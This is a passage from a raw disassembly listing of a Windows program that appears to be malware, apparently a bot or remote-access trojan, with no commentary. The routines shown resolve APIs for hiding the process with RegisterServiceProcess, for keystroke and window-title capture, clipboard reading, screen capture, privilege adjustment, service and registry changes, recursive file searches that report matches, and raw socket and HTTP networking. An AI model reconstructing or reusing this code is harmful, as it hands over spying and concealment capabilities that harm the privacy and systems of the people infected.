		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086E8
		lea	eax, [ebp+var_70]
		push	offset asc_429098 ; "="
		push	eax
		call	sub_416C98
		push	offset asc_429098 ; "="
		push	ebx
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		add	esp, 20h
		jmp	short loc_4086FF
; ---------------------------------------------------------------------------

loc_4086E8:				; CODE XREF: sub_4085D3+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_4086FF:				; CODE XREF: sub_4085D3+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 18h

loc_408724:				; CODE XREF: sub_4085D3+B9j
		push	[ebp+var_8]
		call	sub_415B40
		pop	ecx
		jmp	short loc_40876B
; ---------------------------------------------------------------------------

loc_40872F:				; CODE XREF: sub_4085D3+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 28h

loc_40876B:				; CODE XREF: sub_4085D3+60j
					; sub_4085D3+A2j ...
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408603
		pop	edi
		pop	esi

loc_408785:				; CODE XREF: sub_4085D3+19j
		pop	ebx
		leave
		retn
sub_4085D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408788	proc near		; DATA XREF: sub_40CE55+3C21o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4087DD
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_4087DD:				; CODE XREF: sub_408788+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4290F0
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408822
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4C
		add	esp, 14h

loc_408822:				; CODE XREF: sub_408788+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_4088A0
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_4290BC
		push	eax
		call	sub_4154E7
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408880
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4C
		add	esp, 14h

loc_408880:				; CODE XREF: sub_408788+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_408788	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A0	proc near		; CODE XREF: sub_408788+B9p
					; sub_4088A0+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_415A6A
		mov	edi, dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_40895D

loc_4088EC:				; CODE XREF: sub_4088A0+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408949
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408910
		cmp	[ebp+var_117], 0
		jz	short loc_408949
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408949

loc_408910:				; CODE XREF: sub_4088A0+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4088A0
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408949:				; CODE XREF: sub_4088A0+53j
					; sub_4088A0+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_4088EC

loc_40895D:				; CODE XREF: sub_4088A0+4Aj
		push	[ebp+var_4]
		call	dword_421098	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4089E3

loc_408994:				; CODE XREF: sub_4088A0+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408994

loc_4089E3:				; CODE XREF: sub_4088A0+F2j
		push	esi
		call	dword_421098	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4088A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4089F2	proc near		; CODE XREF: sub_40C682+55p
		push	ebx
		push	ebp
		mov	ebp, dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408B12
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43A444, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43A3B8, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43A39C, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43A2B8, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43A264, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43A294, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43A308, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43A3F8, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43A454, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43A2C4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A444, ebx
		mov	dword_43A2AC, eax
		jz	short loc_408AF0
		cmp	dword_43A3B8, ebx
		jz	short loc_408AF0
		cmp	dword_43A39C, ebx
		jz	short loc_408AF0
		cmp	dword_43A2B8, ebx
		jz	short loc_408AF0
		cmp	dword_43A294, ebx
		jz	short loc_408AF0
		cmp	dword_43A308, ebx
		jz	short loc_408AF0
		cmp	dword_43A3F8, ebx
		jz	short loc_408AF0
		cmp	dword_43A454, ebx
		jz	short loc_408AF0
		cmp	dword_43A2C4, ebx
		jz	short loc_408AF0
		cmp	eax, ebx
		jnz	short loc_408AFA

loc_408AF0:				; CODE XREF: sub_4089F2+B8j
					; sub_4089F2+C0j ...
		mov	dword_43A458, 1

loc_408AFA:				; CODE XREF: sub_4089F2+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43A3D0, eax
		jz	short loc_408B27
		push	1
		push	ebx
		call	eax
		jmp	short loc_408B27
; ---------------------------------------------------------------------------

loc_408B12:				; CODE XREF: sub_4089F2+1Dj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A45C, eax
		mov	dword_43A458, 1

loc_408B27:				; CODE XREF: sub_4089F2+117j
					; sub_4089F2+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408C3C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43A3F4, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43A3A4, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43A338, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43A448, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43A368, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43A388, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43A3EC, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3F4, ebx
		mov	dword_43A2E0, eax
		jz	short loc_408BE0
		cmp	dword_43A3A4, ebx
		jz	short loc_408BE0
		cmp	dword_43A338, ebx
		jz	short loc_408BE0
		cmp	dword_43A448, ebx
		jz	short loc_408BE0
		cmp	dword_43A368, ebx
		jz	short loc_408BE0
		cmp	dword_43A388, ebx
		jz	short loc_408BE0
		cmp	dword_43A3EC, ebx
		jz	short loc_408BE0
		cmp	eax, ebx
		jnz	short loc_408BEA

loc_408BE0:				; CODE XREF: sub_4089F2+1B8j
					; sub_4089F2+1C0j ...
		mov	dword_43A460, 1

loc_408BEA:				; CODE XREF: sub_4089F2+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43A364, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43A278, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43A334, eax
		call	esi	; GetProcAddress
		cmp	dword_43A364, ebx
		mov	dword_43A320, eax
		jz	short loc_408C47
		cmp	dword_43A278, ebx
		jz	short loc_408C47
		cmp	dword_43A334, ebx
		jz	short loc_408C47
		cmp	eax, ebx
		jnz	short loc_408C51
		jmp	short loc_408C47
; ---------------------------------------------------------------------------

loc_408C3C:				; CODE XREF: sub_4089F2+144j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A464, eax

loc_408C47:				; CODE XREF: sub_4089F2+232j
					; sub_4089F2+23Aj ...
		mov	dword_43A460, 1

loc_408C51:				; CODE XREF: sub_4089F2+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DEC
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43A408, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43A34C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43A3BC, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43A2A4, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43A304, eax
		call	esi	; GetProcAddress
		cmp	dword_43A408, ebx
		mov	dword_43A374, eax
		jz	short loc_408CDC
		cmp	dword_43A34C, ebx
		jz	short loc_408CDC
		cmp	dword_43A3BC, ebx
		jz	short loc_408CDC
		cmp	dword_43A2A4, ebx
		jz	short loc_408CDC
		cmp	dword_43A304, ebx
		jz	short loc_408CDC
		cmp	eax, ebx
		jnz	short loc_408CE6

loc_408CDC:				; CODE XREF: sub_4089F2+2C4j
					; sub_4089F2+2CCj ...
		mov	dword_43A468, 1

loc_408CE6:				; CODE XREF: sub_4089F2+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43A37C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43A354, eax
		call	esi	; GetProcAddress
		cmp	dword_43A37C, ebx
		mov	dword_43A404, eax
		jz	short loc_408D21
		cmp	dword_43A354, ebx
		jz	short loc_408D21
		cmp	eax, ebx
		jnz	short loc_408D2B

loc_408D21:				; CODE XREF: sub_4089F2+321j
					; sub_4089F2+329j
		mov	dword_43A468, 1

loc_408D2B:				; CODE XREF: sub_4089F2+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43A38C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43A280, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43A288, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43A2E8, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43A2EC, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43A29C, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43A358, eax
		call	esi	; GetProcAddress
		cmp	dword_43A38C, ebx
		mov	dword_43A28C, eax
		jz	short loc_408DCF
		cmp	dword_43A280, ebx
		jz	short loc_408DCF
		cmp	dword_43A288, ebx
		jz	short loc_408DCF
		cmp	dword_43A2E8, ebx
		jz	short loc_408DCF
		cmp	dword_43A2EC, ebx
		jz	short loc_408DCF
		cmp	dword_43A29C, ebx
		jz	short loc_408DCF
		cmp	dword_43A358, ebx
		jz	short loc_408DCF
		cmp	eax, ebx
		jnz	short loc_408DD9

loc_408DCF:				; CODE XREF: sub_4089F2+3A7j
					; sub_4089F2+3AFj ...
		mov	dword_43A468, 1

loc_408DD9:				; CODE XREF: sub_4089F2+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43A284, eax
		jnz	short loc_408E01
		jmp	short loc_408DF7
; ---------------------------------------------------------------------------

loc_408DEC:				; CODE XREF: sub_4089F2+26Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A46C, eax

loc_408DF7:				; CODE XREF: sub_4089F2+3F8j
		mov	dword_43A468, 1

loc_408E01:				; CODE XREF: sub_4089F2+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408ECD
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43A384, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43A3DC, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43A3E4, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43A3A0, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43A2C8, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43A274, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43A3E0, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43A260, eax
		call	esi	; GetProcAddress
		cmp	dword_43A384, ebx
		mov	dword_43A2FC, eax
		jz	short loc_408ED8
		cmp	dword_43A3DC, ebx
		jz	short loc_408ED8
		cmp	dword_43A3E4, ebx
		jz	short loc_408ED8
		cmp	dword_43A3A0, ebx
		jz	short loc_408ED8
		cmp	dword_43A2C8, ebx
		jz	short loc_408ED8
		cmp	dword_43A274, ebx
		jz	short loc_408ED8
		cmp	dword_43A3E0, ebx
		jz	short loc_408ED8
		cmp	dword_43A260, ebx
		jz	short loc_408ED8
		cmp	eax, ebx
		jnz	short loc_408EE2
		jmp	short loc_408ED8
; ---------------------------------------------------------------------------

loc_408ECD:				; CODE XREF: sub_4089F2+41Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A474, eax

loc_408ED8:				; CODE XREF: sub_4089F2+49Bj
					; sub_4089F2+4A3j ...
		mov	dword_43A470, 1

loc_408EE2:				; CODE XREF: sub_4089F2+4D7j
		mov	ebp, dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40919E
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43A310, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43A43C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43A2B4, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43A290, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43A344, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43A32C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43A2F8, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43A418, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43A434, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43A340, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43A424, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43A3D8, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43A398, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43A394, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43A2D4, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_43A2CC, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43A3E8, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43A3FC, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43A3B0, eax
		call	esi	; GetProcAddress
		mov	dword_43A370, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43A3C4, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43A380, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43A3C0, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43A42C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43A378, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43A33C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43A3AC, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43A41C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43A350, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43A2F4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A310, ebx
		mov	dword_43A430, eax
		jz	loc_4091A9
		cmp	dword_43A43C, ebx
		jz	loc_4091A9
		cmp	dword_43A2B4, ebx
		jz	loc_4091A9
		cmp	dword_43A344, ebx
		jz	loc_4091A9
		cmp	dword_43A32C, ebx
		jz	loc_4091A9
		cmp	dword_43A2F8, ebx
		jz	loc_4091A9
		cmp	dword_43A418, ebx
		jz	loc_4091A9
		cmp	dword_43A434, ebx
		jz	loc_4091A9
		cmp	dword_43A340, ebx
		jz	loc_4091A9
		cmp	dword_43A424, ebx
		jz	loc_4091A9
		cmp	dword_43A3D8, ebx
		jz	loc_4091A9
		cmp	dword_43A398, ebx
		jz	loc_4091A9
		cmp	dword_43A394, ebx
		jz	loc_4091A9
		cmp	dword_43A2D4, ebx
		jz	short loc_4091A9
		cmp	dword_43A3E8, ebx
		jz	short loc_4091A9
		cmp	dword_43A3FC, ebx
		jz	short loc_4091A9
		cmp	dword_43A3B0, ebx
		jz	short loc_4091A9
		cmp	dword_43A370, ebx
		jz	short loc_4091A9
		cmp	dword_43A3C4, ebx
		jz	short loc_4091A9
		cmp	dword_43A380, ebx
		jz	short loc_4091A9
		cmp	dword_43A3C0, ebx
		jz	short loc_4091A9
		cmp	dword_43A42C, ebx
		jz	short loc_4091A9
		cmp	dword_43A378, ebx
		jz	short loc_4091A9
		cmp	dword_43A33C, ebx
		jz	short loc_4091A9
		cmp	dword_43A3AC, ebx
		jz	short loc_4091A9
		cmp	dword_43A41C, ebx
		jz	short loc_4091A9
		cmp	dword_43A350, ebx
		jz	short loc_4091A9
		cmp	eax, ebx
		jnz	short loc_4091B3
		jmp	short loc_4091A9
; ---------------------------------------------------------------------------

loc_40919E:				; CODE XREF: sub_4089F2+501j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A47C, eax

loc_4091A9:				; CODE XREF: sub_4089F2+6A0j
					; sub_4089F2+6ACj ...
		mov	dword_43A478, 1

loc_4091B3:				; CODE XREF: sub_4089F2+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4092B8
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43A2DC, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43A268, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43A360, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43A314, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43A36C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43A330, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43A2A8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43A2A0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43A2B0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A2DC, ebx
		mov	ecx, dword_43A330
		mov	dword_43A3CC, eax
		jz	short loc_409294
		cmp	dword_43A268, ebx
		jz	short loc_409294
		cmp	dword_43A360, ebx
		jz	short loc_409294
		cmp	dword_43A314, ebx
		jz	short loc_409294
		cmp	dword_43A36C, ebx
		jz	short loc_409294
		cmp	ecx, ebx
		jz	short loc_409294
		cmp	dword_43A2A8, ebx
		jz	short loc_409294
		cmp	dword_43A2A0, ebx
		jz	short loc_409294
		cmp	dword_43A2B0, ebx
		jz	short loc_409294
		cmp	eax, ebx
		jnz	short loc_40929E

loc_409294:				; CODE XREF: sub_4089F2+860j
					; sub_4089F2+868j ...
		mov	dword_43A480, 1

loc_40929E:				; CODE XREF: sub_4089F2+8A0j
		cmp	ecx, ebx
		jz	short loc_4092D3
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_43A348, eax
		jnz	short loc_4092D3
		jmp	short loc_4092CD
; ---------------------------------------------------------------------------

loc_4092B8:				; CODE XREF: sub_4089F2+7CCj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A484, eax
		mov	dword_43A480, 1

loc_4092CD:				; CODE XREF: sub_4089F2+8C4j
		mov	dword_43A348, ebx

loc_4092D3:				; CODE XREF: sub_4089F2+8AEj
					; sub_4089F2+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40931D
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43A324, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43A450, eax
		call	esi	; GetProcAddress
		cmp	dword_43A324, ebx
		mov	dword_43A2BC, eax
		jz	short loc_409328
		cmp	dword_43A450, ebx
		jz	short loc_409328
		cmp	eax, ebx
		jnz	short loc_409332
		jmp	short loc_409328
; ---------------------------------------------------------------------------

loc_40931D:				; CODE XREF: sub_4089F2+8ECj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A48C, eax

loc_409328:				; CODE XREF: sub_4089F2+91Bj
					; sub_4089F2+923j ...
